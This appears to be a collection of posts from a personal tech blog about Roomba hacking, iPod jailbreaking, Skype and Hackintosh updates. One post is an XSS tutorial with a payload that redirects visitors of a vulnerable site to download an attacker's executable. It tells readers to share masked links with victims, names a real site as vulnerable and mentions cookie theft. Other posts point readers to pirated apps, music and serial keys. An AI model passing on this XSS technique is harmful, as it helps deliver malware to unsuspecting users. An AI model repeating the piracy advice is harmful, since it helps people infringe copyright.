For those of you who don't know, the Roomba is actually a fairly simple robot to hack, because it has a built in port Roomba Open Interface (ROI) Port that takes an 7-pin connector. This allows anyone with a bit of mechanical skills to build their own connector and begin to mess around with the Roomba's coding. And if you aren't the technically minded, you can always purchase a pre-made ROI interfacer from RoboDynamics or another online provider of Roomba interfacing technology. I, however, prefer to go hardcore and make my own.

Because I just decided today to finally getting around to hacking our family Roomba, I still need to build an adapter and all that. I will be posting my progress on this blog, along with explanations and tutorials of everything I do so that you can all have the opportunity to hack a Roomba as well, if you choose.

The first step, before even building the interfacer, is to get the old Roomba working again. Wish me luck with that one ;).

Fun iPod Touch / iPhone Apps

I recently jailbroke my iPod, as a lot of people who want to get their money's worth out of the iPod touch. So once you have your iPod booting up with the new custom boot logo, what do you do with it? Wayfarer has already given us one good use of the iPod touch with a combination of skype, Fring, and a few other apps. I have a few other suggestions.

Winterboard - Winterboard is a simple application to install. It can be installed straight from Cydia and once installed it is immediately ready to use to change the themes of your iPod. For anyone who wants to get rid of the boring black background that comes as the only default background. Winterboard is for you. It has all sorts of options for you to play with, although my personal favorite themes are CIA Lockdown, the Angel of Death theme, and the USMC. Winterboard allows for a large variety of custom "cut and hack" type themes you can peace together (for instance, the Marine slide bar and a sexy Ford Mustang background).

NES Emulator - For all of us old-skool video game ficianados, this is the perfect app. It takes a little while to set up, so I will give a short tutorial on it later. The NES Emulator allows you to play tons of old video games like battle chess, bomberman, Donkey Kong (the old one), Final Fnatasy, Super Mario Bros, and Zelda. If you are looking for a perfect imitation of the old games, you'll be disappointed. The emulator while good, is not perfect. I personally found the on-screen controls difficult to use, but the nostalgia value for the games was worth it. Now to install it...

INSTALLATION
Installing the NES emulator is simple. Just search Cydia for NES and it should pop up. Install it. Woohoo! You're done!

Not.

In order to play the games on your NES emulator, you need to have the proper ROMs on your iPod Touch or iPhone. There are a few ways to do this. The more difficult way (I don't personally suggest this method) is to manually move ROMs from your computer onto your iPod. If you wish to do this way, I suggest Googleing it.

The second way is to use a source that will allow you access to ROM's. This method is the one I used, but it was a damn pain in the arse to find a source that worked. In the end, I used this source and I suggest you do as well.

http://apt.123locker.com

To use this source, open Cydia. Click the Manage button and choose 'Sources'. Click 'edit' in the top right corner. Now click on 'Add' in the top left corner. In the pop-up, type "apt.123locker.com" (notice the http:// is already on the screen for you). Click add source.

Once you have the apt source added, you need to install the package NES ROMs Package 1. This will give you a list of ROM's to choose from when you launch your NES Emulator. Pick your poison and enjoy!

Skype on the iPod Touch

Well, it's been an interesting few days as I try and make my iPod touch as much like an iPhone.  Some interesting and sad developments have happened, such as the death of Infinite SMS, and my attempts to get Skype on the iTouch.

Well, I have.  By buying an "online number" I have made it so I can call people from my iTouch, and they can call me back.  The only problem is, it isn't working as well as I would like it too.

At the moment, I am using Fring, Backgrounder, and KeepAwake to power my jailbroken iTouch.  Fring is a client which can hook up to Skype.  Backgrounder allows  the app to run in the background, so I can do other stuff while still waiting for incoming calls.  And lastly, KeepAwake keeps my WiFi on all the time, and in theory, it keeps the iPod from going into sleep mode.  This last option allows me to black my screen, but I don't need to worry about the iPod fall asleep and disconnecting fring.

Well, it isn't working as well as I would like it too.  I woke up after sleeping and tried calling my iTouch - it didn't ring.  Upon checking, fring had disconnected.  So the entire integration idea needs work.  Basically, I need an Application that always runs in the background, always stays connected to skype, always keeps my WiFi on, and will always ring.  I feel that the best way to do this is to make it myself - so hopefully soon, I will start in on this adventure.  Wish me luck!

Edit:  This post here might mean a Skype Application is coming to the iPhone.  Now the Jailbreaking communicty needs to get a hand on it and make it a perfect replacement!

QuickFreedom Gives me Freedom... Quickly

What did you expect?

Dan, the author of QuickFreedom, had done a great job making QuickTether, and now a great job making QuickFreedom.  While the other programs are being updated to include the iPod touch second generation in their repetoir, QuickFreedom allows you to do a fully untethered jailbreak.

The instructions are straightforwards and simple.  I used the firmware I had previously downloaded for the Tethered jailbreak, and that worked fine (no reason it shouldn't, same firmware).  I managed to jailbreak it in probably under 10 minutes.  Didn't even break a sweat.  Best of all, the iPod boots, lol.

Full Jailbreak for Second Generation iPod touch.

There's even a story to this one.  But yes, the full jailbreak is now available to the public, I am going to be testing QuickFreedom (before known as QuickTether) to jailbreak my iPod touch.  Wish me luck, I will leave a tutorial up when I have finished.

But how did this come to be?  It's actually rather interesting how it all came about, from what I have been able to read so far.  I'm sure more information will become available in the future, but for now, this is my understanding.

A group of people from the Dev-Team and Chronic worked together to find this exploit.  They decided that the best approach would be to hold onto the exploit (not make it public) until Apple released the next generation of the iPhone and iPod touch; this way if the code contained the same error all of the products would be jailbroken.  However, a company, NitroKey, was also actively working on the jailbreak, and they too found this exploit - however, instead of releasing it, they tried to capitalise on it and released a product for a price that would jailbreak the device.  When Chronic and the Dev-Team saw this, they decided to release their hack so NitroKey wouldn't make money off of the crack - it should be, and always will be, free.

So.... now I'm going to try it.  First step:  Back everything up.

How To - Get iPhone/iTouch Apps from Appulo.us

This Guide has been moved to a new home!  Please visit it to learn how to get apps for free!

Guide for 2.x
Guide for 3.x
New!  Use this guide to install "Install0us," the better tool for install apps.  You won't regret it.  Guide for all iPhone OS.

First off, we don't support pirating at all.  We think that all developers should be given credit and payment for their work - if you pirate you are not giving them that credit.  Appulo.us suggests usings its database as a trial period, We suggest the same.  This is simply a guide on how to do it - for educational purposes if you want to set up your own database to test from.  We do not have any affiliations with any other body.


Alright, first off, you're iPhone (Everything here works for the iPod touch as well, iPhone is simply more universal to say) needs to be running at least OS 2, and it needs to be jailbroken with Cydia installed.  If you haven't gotten that far, get that far.  Then come back here and read the rest.

**Removed**

QuickTether - Does It Really Work?

Hellz Ya it works.

Dancool's website appears to be down, he sent the new Download Link out over Twitter - here it is.  His website is back up.  (Looking at Twitter and his Blog, I think the Software is still being Beta Tested - use only at your own risk, and don't ask him for support - only mention bugs.)

I'm using it now.  One issue I have already run into - you need to have libusb installed on your computer (at least for Windows x86 Ultimate) before the program will run correctly, it does not run before you do.  Please follow this guide to install it correctly.  After that (I even restarted O.o ) The program ran fine.

The hardest part I have found was putting the iPod into DFU mode, that took me about 4 tries - I remember doing it with QuickPWN to a first generation iPod touch and got it on the first try, so perhaps the instructions could use a little work...

 

(It's working...)

(Verifying Software?  LMFAO)

Also, once you have done everything and you use the Boot in Quicktether, (disconnected it immediatly after it says it has finished) and then wait.  If it boots up to what looks life DFU mode, don't panic.

If you can take pictures, or see the battery symbol in the top of the screen, all you need to do is plug it back into your computer, open iTunes (really, it's safe) and then set up your iPod.  It's awesome.  I Jailbroke my iTouch.

 

Mind you this is Tethered, but plugging it into my computer to boot is not my biggest worry.  Now, the world is much more open with me, and I get to discover all new fun things.  As well as.... well, getting my old App's back, lol.

Skype + iTouch = iPhone

Well, almost.  You still need WiFi to actually make calls, but if you are like me, and have WiFi everywhere you go... it's pretty damn close.

You don't even need to jailbreak your iTouch.  If you use a free application like Fring or Nimbuzz, you can sign into your Skype Account.  As long as you have credit (I got Unlimited to US and Canada - Come on, it's $3 a month), you can call people from your iTouch.  Mind you, you will need some way to input sound (the 2 generation iTouch supports the iPhone Headphones, the ones with the mic on it), but once you get that.... it works.

So, I mean, thinking about it, it is an investment.  You need the iTouch, the headphones, and the Skype.  But when you compare that to how much an iPhone plan costs... you save after the first year (depending on how big your iTouch is).  I'm really excited to start calling people.  I'll let everyone know what the quality is like.

Next step though... Jailbreak it.

UPDATE:  I haven't jailbroken the iPod yet, but I have made calls from it.  I called my Dad (From the east coast to the west coast) and there was some lag in the conversation - on my part I think.  I'm going to see if that was a distance problem, but I suspect it may be like that for most conversations, which is really disappointing.  I'll work on more details.  But to make it clear - I can call people from my iTouch now.

Jailbreak iTouch Second Generation

So, perhaps you got a new spiffy iTouch and want to know what else you can do with it.  Well, I did, and I want to jail break it.  However, due to a lack of a untethered jailbreak, we are stuck with a tethered one.  If you don't know what that means, read this post.

But, now, in theory, a tethered jailbreak is getting easier and easier with QuickTether.  This program will allow you to get a tethered jailbrake done quickly and efficently.  If it worked.  At the moment, the author of the program is busy fixing many bugs which users have submitted.  Mind you, the program was released for download yesterday, so bugs are understandable.  Hopefully in the next few days we will have the program back and working well.

Woot vent's up

Finally got ventrilo working... it took forever because I didn't realize it used UDP & only opened the port for TCP. In my defense, 'udp' appeared exactly ZERO times in the the configuration info I read. ><. I checked. 

Getting it set up though gave me a great idea: what how about music over vent?

XSS Vulnerabilities

Thousands of new websites are popping up every day on the world wide web. It is a great way for people all across the world to display information, to talk with friends, all kinds of great things. We aren't even using the internet to its full potential yet! Theres just one problem: the internet is vulnerable, and that makes computers who go ON the internet vulnerable.

Take cross side scripting (XSS) vulnerabilities. Note that cross side scripting is 'XSS', not 'CSS'. CSS stands for Cascading Style Sheets and is used along with html to organize and structure web pages. For all new web designers, it is important to protect yourself against xss attacks, which are quite common and unbelievably simple to perform.

What is an xss attack?
XSS is a form of client-side attack. Basically it means that an attacker can inject code into a website from his own computer, even without administrative or FTP privelages. Lets use a common feature on websites for an example. A search box. A user inputs a query into the box and hits search. After a few moments, a new page displays with lists of links to different pages that relate to your search. But what happens to the actual HTML? Next time you search, take a look at the source code that is returned to your browser after a search. Your search term (in an xss vulnerable site) was put directly into the html. This happens when the search page displays something along the lines of "Your search for: 'yoursearchtermhere'" at the top of the page. XSS is using that search term in the html code to inject your own code.

How do I know if a page is xss vulnerable?
This is simple. go to any sort of input box. This can be a login, password, email, search box, anything that allows you to type and submit. In the box, type "alert('XSS vulnerable')" (make sure to omit the quotation marks and add tags). When you hit enter, if a pop up box displaying "XSS vulnerable" appears, then the page is vulnerable to javascript xss exploits.

How can an XSS vulnerability on my site be used?
There are lots of ways that XSS can be used. One of the more dangerous ways to use it is to inject code to steal users cookies, which can then be used to trick the websites server into granting you access to that users account and information. It can also be used to download local files from another persons computer.

Ok... but HOW?
Simple. If you have found a site vulnerable to cross site scripting, inputting this code will allow you to download a file to someones computer (you must add < and > around the 'script' and '/script' tags):

script document.location="Your site's .exe file";/script

Put that into the search box and you should be prompted to download your executable. Wonderful. Now what? Now, you copy and paste the full url from the address bar and you can give it to anyone via forum, IM, email, whatever floats your boat. If someone opens it and downloads the executable, they will download whatever your exe file contained.

No one would be stupid enough to fall for that... would they?
Depends. First of all, this can be done to a trustworthy site. The LAPD site happens to be vulnerable to XSS. Adding your script to the end of the LAPD's site may very well fool most people. But if you really want to hide it from people, then you can use a URL masker/encoder to hide the part of the url that shows your script request. That will fool most people.

So there you have it. Play around with XSS for a little bit and you will quickly see the dangers that it can pose to an unprotected site. So make sure, if you are building a site, to properly clean up your code so that users cannot input their own scripts to hijack your site and/or your clients computers and information.



**I DO NOT CONDONE THE USE OF XSS OR ANY OTHER FORM OF 'HACKING' OR SCRIPTING AGAINST A SITE. USE ANYTHING IN THIS POST AT YOUR OWN RISK, AND REMEMBER USE OF IT WITHOUT PERMISSION OF A SITES OWNER IS ILLEGAL**

Music in the 21st century

[Also: How people have so much music.]

So, this is generally how things work with me and music.  It wasn't always this way, but recently this is how things have been working.

1:  Here a song on the radio that I like.  Write it down.
2:  Go back home, go to Google and search up the lyrics.  Find the artist and song name.
3:  Go to wikipedia, research the band who performed the song.
4:  Go to my favorite torrent site.  Download discography.

Basically the site progression goes like:  Google -> Wikipedia -> The Pirate Bay.  It works wonders.  And then you have a ton of other music which you can listen to!  Isn't that just excited.  Now go buy a CD.

Macworld Today

Well, at least the anticipated part of it.  I won't go into detail because I'm sure you can find other places which already have it.

However, the interesting point is, Apple released two new pieces of software, although iLife '09 is not going to be released until late January.  iWork '09 is already out, and erm, already cracked.

Now, let's be honest, we aren't talking reversed compiled and/or reversed engineered, but a quick search on your favorite torrent site will reveal iWork '09 with serial numbers.  This means that Apple is already losing potential money on their product which has not yet been out for more than a day.  What does this mean?  Well, it means that it is hard to beat the Pirates, we will go for almost anything.  It also means that perhaps it is time for a new method of protection - sharing serial numbers is way to easy.

Sound with your Hackintosh

Okay, so I don't really kow how I got sound working.  I tried four things in rapid succession, all of which without repairing permissions.  When I repaired permissions, the sound worked.  So, I'm not sure which one worked.  However, here is the file which I believed got my sound working (it did the most at least).  Just open it up and run (type your password when requested).  Reboot, and then fix your permissions.

This worked on my laptop with these specs.

Edit, the above file did not quite work, but this one does work.

Garena Doesn't work in CrossOver

Continuing with the adventures of my Hackintosh, I am wondering if I can play over LAN with people with Warcraft 3.  Installing Warcraft 3 wasn't an issue, Finder openned up the ISO images just fine and booted the installer.  Finding Serial Keys was a little trickier, but not impossible.  However, updating it is another challenge which I am still working on.  I may have to use my friend's CD's to update.

However, I want to install Garena and play over that.  So far, no luck.  It installed fine with CrossOver Mac, but didn't boot.  I'm going to try with Crossover Games, but don't expect too much.

10.5.6 Update is the Most Trouble

Well, I updated my Hackintosh from Leopard 10.5.2 up to the latest, 10.5.6.  And, like always, the last one was always the hardest.  The others when smoothly with no issues at all, I just followed the guide I posted earlier.  10.5.6 was obnoxious though.  After the update, it would not recognize my keyboard unless I booted into safemode.  You could tell how that would be annoying.

Booting into safemode, I had to get my onscreen keyboard (System Preferences -> International -> Input Menu -> Keyboard Viewer && show input menu in menu bar) and I also had to change my password to something simple (all lowercase letters, no numbers).  Also in Safemode, I deleted 2 Kexts which I would replace once I booted normally.  I rebooted normally, and installed these two kexts:

AppleACPIP2Nub.kext
ApplePS2Controller.kext

Once properly installing both of those, the keyboard worked once again!

You can download the two Kexts here (Unzip and then install).

Updating a Hackintosh

Hackintosh are PC's which have OS X running on them.  I have one, and it is a lot of fun.  Of course, it is very hit and miss when it comes to having all your hardware working, but if you are lucky it can be a very rewarding experince.

Updating a Hackintosh can be scary.  If updated incorrectly, then it will render the system unworkable.  I have found this guide which I am copying here for safe keeping.  This guide works for Leopard updating from 10.5.2 up until 10.5.6.  The nice thing is the process is exactly the same for each update, just remember to repair permissions each time!

1)- Download the Update from Apple's websie
2)- Mount the .dmg, but don't install the update
3)- Open terminal and type

sudo -s

(It will ask for your password; type it).

 4)- Type

while sleep 1
do rm -rf /System/Library/Extensions/AppleIntelCPUPowerManagement.kext;
done

5)- Run update
6)- Press ctrl-c to end the script
7)- Go back to Terminal and type

 nano /System/InstallAtStartup/scripts/1

8)- (Note that this step is not required, but to be safe, you might want to do it) Go to the last page of the script and find the line "Don'tStealMacOSX.kext". Change it to "dsmos.kext"
9)- Reboot and type "update -v" (no quotes)
10)- If you have problems booting, try "-v -f -x" or "-v -x"
11)- Open Kext Helper b7 and use it to patch AppleHDA.kext, AppleAHCIPlatform.kext, and AppleAHCIPlatform.kext  (Not necessary, only if you have previously done so)
12)- Repair permissions